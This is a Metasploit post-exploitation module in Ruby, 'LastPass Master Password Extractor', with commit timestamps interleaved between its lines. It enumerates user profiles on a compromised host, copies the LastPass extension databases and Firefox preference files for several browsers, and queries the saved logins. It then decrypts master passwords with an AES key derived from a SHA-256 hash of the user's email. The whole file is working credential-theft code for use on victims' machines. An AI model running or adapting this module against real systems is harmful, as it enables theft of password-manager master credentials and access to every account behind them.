2014-09-19 06:40:05 +00:00
require 'msf/core'
require 'base64'
require 'sqlite3'
2014-10-06 09:23:54 +00:00
require 'uri'
2014-09-19 06:40:05 +00:00
class Metasploit3 < Msf :: Post
2014-09-28 08:59:02 +00:00
include Msf :: Post :: File
include Msf :: Post :: Windows :: UserProfiles
include Msf :: Post :: OSX :: System
include Msf :: Post :: Unix
def initialize ( info = { } )
super ( update_info ( info ,
2014-10-17 18:19:36 +00:00
'Name' = > 'LastPass Master Password Extractor' ,
'Description' = > %q{
This module extracts and decrypts LastPass master login accounts and passwords .
} ,
'License' = > MSF_LICENSE ,
'Author' = > [ 'Alberto Garcia Illera <agarciaillera[at]gmail.com>' , 'Martin Vigo <martinvigo[at]gmail.com>' ] ,
'Platform' = > %w( linux osx unix win ) ,
'SessionTypes' = > %w( meterpreter shell )
2014-09-28 08:59:02 +00:00
) )
end
def run
if session . platform =~ / win / && session . type == " shell " # No Windows shell support
print_error " Shell sessions on Windows are not supported "
return
end
print_status " Searching for LastPass databases... "
2014-10-17 18:19:36 +00:00
db_map = get_database_paths # Find databases and get the remote paths
if db_map . empty?
2014-09-28 08:59:02 +00:00
print_status " No databases found "
return
end
print_status " Looking for credentials in all databases found... "
2014-10-17 18:19:36 +00:00
# an array of [user, encrypted password, browser]
2014-10-13 05:23:55 +00:00
credentials = [ ] # All credentials to be decrypted
2014-10-17 18:19:36 +00:00
db_map . each_pair do | browser , paths |
if browser == 'Firefox'
paths . each do | path |
data = read_file ( path )
loot_path = store_loot ( 'firefox.preferences' , 'text/javascript' , session , data , nil , " Firefox preferences file #{ path } " )
# Extract usernames and passwords from preference file
firefox_encoded_creds = firefox_credentials ( loot_path )
next unless firefox_encoded_creds
firefox_encoded_creds . each do | creds |
credentials << [ URI . unescape ( creds [ 0 ] ) , URI . unescape ( creds [ 1 ] ) , browser ] unless creds [ 0 ] . nil? || creds [ 1 ] . nil?
end
2014-10-06 09:23:54 +00:00
end
else # Chrome, Safari and Opera
2014-10-17 18:19:36 +00:00
paths . each do | path |
data = read_file ( path )
2014-10-17 18:33:31 +00:00
loot_path = store_loot ( " #{ browser . downcase } .lastpass.database " , 'application/x-sqlite3' , session , data , nil , " #{ browser } LastPass database #{ path } " )
2014-10-17 18:19:36 +00:00
# Parsing/Querying the DB
db = SQLite3 :: Database . new ( loot_path )
user , pass = db . execute ( " SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != ''; " ) . flatten
credentials << [ user , pass , browser ] if user && pass
end
2014-10-06 09:23:54 +00:00
end
2014-10-17 18:19:36 +00:00
end
2014-09-28 08:59:02 +00:00
2014-10-17 18:19:36 +00:00
credentials_table = Rex :: Ui :: Text :: Table . new ( 'Header' = > " LastPass credentials " , 'Indent' = > 1 , 'Columns' = > %w( Username Password Browser ) )
# Parse and decrypt credentials
credentials . each do | row | # Decrypt passwords
user , enc_pass , browser = row
print_status " Decrypting password for user #{ user } from #{ browser } ... "
password = clear_text_password ( user , enc_pass )
credentials_table << [ user , password , browser ]
2014-09-28 08:59:02 +00:00
end
2014-10-16 06:13:53 +00:00
print_good credentials_table . to_s
2014-09-28 08:59:02 +00:00
end
# Finds the databases in the victim's machine
2014-10-17 17:20:55 +00:00
def get_database_paths
2014-09-28 08:59:02 +00:00
platform = session . platform
2014-10-17 17:20:55 +00:00
existing_profiles = get_user_profiles
2014-10-17 18:19:36 +00:00
found_dbs_map = {
'Chrome' = > [ ] ,
'Firefox' = > [ ] ,
'Opera' = > [ ] ,
'Safari' = > [ ]
}
browser_path_map = { }
2014-09-28 08:59:02 +00:00
case platform
when / win /
2014-10-16 05:15:54 +00:00
existing_profiles . each do | user_profile |
print_status " Found user: #{ user_profile [ 'UserName' ] } "
2014-10-17 18:19:36 +00:00
browser_path_map = {
'Chrome' = > " #{ user_profile [ 'LocalAppData' ] } \\ Google \\ Chrome \\ User Data \\ Default \\ databases \\ chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0 " ,
'Firefox' = > " #{ user_profile [ 'AppData' ] } \\ Mozilla \\ Firefox \\ Profiles " ,
'Opera' = > " #{ user_profile [ 'AppData' ] } \\ Opera Software \\ Opera Stable \\ databases \\ chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0 " ,
'Safari' = > " #{ user_profile [ 'LocalAppData' ] } \\ Apple Computer \\ Safari \\ Databases \\ safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0 "
}
2014-09-28 08:59:02 +00:00
end
when / unix|linux /
2014-10-13 05:23:55 +00:00
existing_profiles . each do | user_profile |
2014-09-28 08:59:02 +00:00
print_status " Found user: #{ user_profile [ 'UserName' ] } "
2014-10-17 18:19:36 +00:00
browser_path_map = {
'Chrome' = > " #{ user_profile [ 'LocalAppData' ] } /.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0 " ,
'Firefox' = > " #{ user_profile [ 'LocalAppData' ] } /.mozilla/firefox " ,
}
2014-09-28 08:59:02 +00:00
end
when / osx /
2014-10-13 05:23:55 +00:00
existing_profiles . each do | user_profile |
2014-09-28 08:59:02 +00:00
print_status " Found user: #{ user_profile [ 'UserName' ] } "
2014-10-17 18:19:36 +00:00
browser_path_map = {
'Chrome' = > " #{ user_profile [ 'LocalAppData' ] } /Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0 " ,
'Firefox' = > " #{ user_profile [ 'LocalAppData' ] } \\ Firefox \\ Profiles " ,
'Opera' = > " #{ user_profile [ 'LocalAppData' ] } /com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0 " ,
'Safari' = > " #{ user_profile [ 'AppData' ] } /Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0 "
}
2014-09-28 08:59:02 +00:00
end
else
print_error " platform not recognized: #{ platform } "
end
2014-10-17 18:19:36 +00:00
browser_path_map . each_pair do | browser , path |
found_dbs_map [ browser ] |= find_db_paths ( path , browser )
end
found_dbs_map
2014-09-28 08:59:02 +00:00
end
2014-10-16 05:15:54 +00:00
# Returns a list of DB paths found in the victims' machine
2014-10-16 04:29:47 +00:00
def find_db_paths ( path , browser )
found_dbs_paths = [ ]
2014-10-16 05:15:54 +00:00
print_status " Checking in #{ browser } ... "
if browser == " Firefox " # Special case for Firefox
2014-10-17 17:20:55 +00:00
profiles = get_firefox_profile_files ( path , browser )
unless profiles . empty?
2014-10-16 05:15:54 +00:00
print_good " Found #{ profiles . size } profile files in Firefox "
2014-10-17 17:20:55 +00:00
found_dbs_paths |= profiles
2014-10-16 06:13:53 +00:00
end
2014-10-16 05:15:54 +00:00
else
2014-10-17 17:20:55 +00:00
found_dbs_paths |= file_paths ( path , browser )
2014-10-16 05:15:54 +00:00
end
found_dbs_paths
2014-10-16 04:29:47 +00:00
end
2014-09-28 08:59:02 +00:00
# Returns the relevant information from user profiles
2014-10-17 17:20:55 +00:00
def get_user_profiles
user_profiles = [ ]
2014-09-28 08:59:02 +00:00
case session . platform
when / unix|linux /
2014-10-13 05:23:55 +00:00
if session . type == " meterpreter "
user_names = client . fs . dir . entries ( " /home " )
else
user_names = session . shell_command ( " ls /home " ) . split
end
2014-10-17 17:20:55 +00:00
user_names . reject! { | u | %w( . .. ) . include? ( u ) }
2014-09-28 08:59:02 +00:00
user_names . each do | user_name |
2014-10-17 17:20:55 +00:00
user_profiles . push ( 'UserName' = > user_name , " LocalAppData " = > " /home/ #{ user_name } " )
2014-09-28 08:59:02 +00:00
end
when / osx /
user_names = session . shell_command ( " ls /Users " ) . split
2014-10-17 17:20:55 +00:00
user_names . reject! { | u | u == 'Shared' }
2014-09-28 08:59:02 +00:00
user_names . each do | user_name |
2014-10-17 17:20:55 +00:00
user_profiles . push (
'UserName' = > user_name ,
" AppData " = > " /Users/ #{ user_name } /Library " ,
" LocalAppData " = > " /Users/ #{ user_name } /Library/Application Support "
)
2014-09-28 08:59:02 +00:00
end
when / win /
2014-10-17 17:20:55 +00:00
user_profiles |= grab_user_profiles
2014-09-28 08:59:02 +00:00
else
print_error " OS not recognized: #{ os } "
end
2014-10-17 17:20:55 +00:00
user_profiles
2014-09-28 08:59:02 +00:00
end
# Extracts the databases paths from the given folder ignoring . and ..
def file_paths ( path , browser )
found_dbs_paths = [ ]
if directory? ( path )
if session . type == " meterpreter "
files = client . fs . dir . entries ( path )
files . each do | file_path |
found_dbs_paths . push ( File . join ( path , file_path ) ) if file_path != '.' && file_path != '..'
end
elsif session . type == " shell "
files = session . shell_command ( " ls \" #{ path } \" " ) . split
files . each do | file_path |
found_dbs_paths . push ( File . join ( path , file_path ) ) if file_path != 'Shared'
end
else
print_error " Session type not recognized: #{ session . type } "
2014-10-17 17:20:55 +00:00
return found_dbs_paths
2014-09-28 08:59:02 +00:00
end
end
2014-10-17 17:20:55 +00:00
if found_dbs_paths . empty?
2014-09-28 08:59:02 +00:00
print_status " No databases found for #{ browser } "
2014-10-17 17:20:55 +00:00
else
print_good " Found #{ found_dbs_paths . size } database/s in #{ browser } "
2014-09-28 08:59:02 +00:00
end
2014-10-17 17:20:55 +00:00
found_dbs_paths
2014-09-28 08:59:02 +00:00
end
2014-10-17 17:20:55 +00:00
# Returns the profile files for Firefox
def get_firefox_profile_files ( path , browser )
2014-10-06 09:23:54 +00:00
found_dbs_paths = [ ]
if directory? ( path )
if session . type == " meterpreter "
files = client . fs . dir . entries ( path )
elsif session . type == " shell "
files = session . shell_command ( " ls \" #{ path } \" " ) . split
else
print_error " Session type not recognized: #{ session . type } "
2014-10-17 17:20:55 +00:00
return found_dbs_paths
2014-10-06 09:23:54 +00:00
end
end
2014-10-17 17:20:55 +00:00
files . reject! { | file | %w( . .. ) . include? ( file ) }
files . each do | file_path |
found_dbs_paths . push ( File . join ( path , file_path , 'prefs.js' ) ) if file_path . match ( / .* \ .default / )
end
if found_dbs_paths . empty?
2014-10-06 09:23:54 +00:00
print_status " No profile paths found for #{ browser } "
end
2014-10-17 17:20:55 +00:00
found_dbs_paths
2014-10-06 09:23:54 +00:00
end
2014-10-13 05:23:55 +00:00
# Parses the Firefox preferences file and returns encoded credentials
def firefox_credentials ( loot_path )
credentials = [ ]
password_line = nil
File . readlines ( loot_path ) . each do | line |
password_line = line if line [ 'extensions.lastpass.loginpws' ]
end
2014-10-06 09:23:54 +00:00
2014-10-13 05:23:55 +00:00
return nil unless password_line
2014-10-06 09:23:54 +00:00
2014-10-13 05:23:55 +00:00
if password_line . match ( / user_pref \ ("extensions.lastpass.loginpws", "(.*)" \ ); / )
encoded_credentials = password_line . match ( / user_pref \ ("extensions.lastpass.loginpws", "(.*)" \ ); / ) [ 1 ]
else
return nil
end
creds_per_user = encoded_credentials . split ( " | " )
creds_per_user . each do | user_creds |
credentials . push ( user_creds . split ( " = " ) ) if user_creds . split ( " = " ) . size > 1 # Any valid credentials present?
end
credentials
end
2014-10-06 09:23:54 +00:00
2014-09-28 08:59:02 +00:00
# Decrypts the password
def clear_text_password ( email , encrypted_data )
return if encrypted_data . blank?
sha256_hex_email = OpenSSL :: Digest :: SHA256 . hexdigest ( email )
sha256_binary_email = [ sha256_hex_email ] . pack " H* " # Do hex2bin
if encrypted_data . include? ( " | " ) # Apply CBC
decipher = OpenSSL :: Cipher . new ( " AES-256-CBC " )
decipher . decrypt
decipher . key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
decipher . iv = Base64 . decode64 ( encrypted_data [ 1 , 24 ] ) # Discard ! and |
encrypted_password = encrypted_data [ 26 .. - 1 ]
begin
decipher_result = decipher . update ( Base64 . decode64 ( encrypted_password ) ) + decipher . final
rescue
print_error " Password could not be decrypted "
return nil
end
else # Apply ECB
decipher = OpenSSL :: Cipher . new ( " AES-256-ECB " )
decipher . decrypt
decipher . key = sha256_binary_email
begin
decipher_result = decipher . update ( Base64 . decode64 ( encrypted_data ) ) + decipher . final
rescue
print_error " Password could not be decrypted "
return nil
end
end
decipher_result
end
2014-09-19 06:40:05 +00:00
end